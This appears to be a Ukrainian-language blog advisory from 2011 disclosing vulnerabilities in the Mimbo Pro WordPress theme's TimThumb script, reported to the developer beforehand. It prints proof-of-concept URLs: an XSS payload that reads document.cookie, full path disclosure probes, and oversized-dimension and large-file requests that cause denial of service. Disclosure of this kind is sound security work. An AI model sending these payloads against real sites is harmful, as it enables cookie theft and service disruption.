Уразливість в темі Mimbo Pro для WordPress
16:05 14.04.201108.02.2011
У лютому, 02.02.2011, я знайшов Cross-Site Scripting, Full path disclosure, Abuse of Functionality та Denial of Service уразливості в темі Mimbo Pro для WordPress. Це комерційний шаблон для WP. Ця тема розроблена автором TimThumb, який і використовується в ній. Уразливості я виявив на одному сайті, що використовує даний шаблон. Про що найближчим часом повідомлю розробникам.
Раніше я вже писав про уразливості в темах Live Wire 2.0 та Live Wire Style для WordPress.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам теми.
14.04.2011
XSS:
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E
Full path disclosure:
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1&w=1111111
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1111111&w=1
http://site/wp-content/themes/mimbopro/
А також ще десятки php-скриптів шаблону в папці /mimbopro/ та всіх підпапках.
Abuse of Functionality:
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site&h=1&w=1
DoS:
http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/big_file&h=1&w=1
Про подібні AoF та DoS уразливості я писав в статті Використання сайтів для атак на інші сайти.
Уразливі Mimbo Pro 2.3.1 та попередні версії. XSS можлива лише в старих версіях шаблона. Після мого попередження, розробник виправив майже всі уразливості.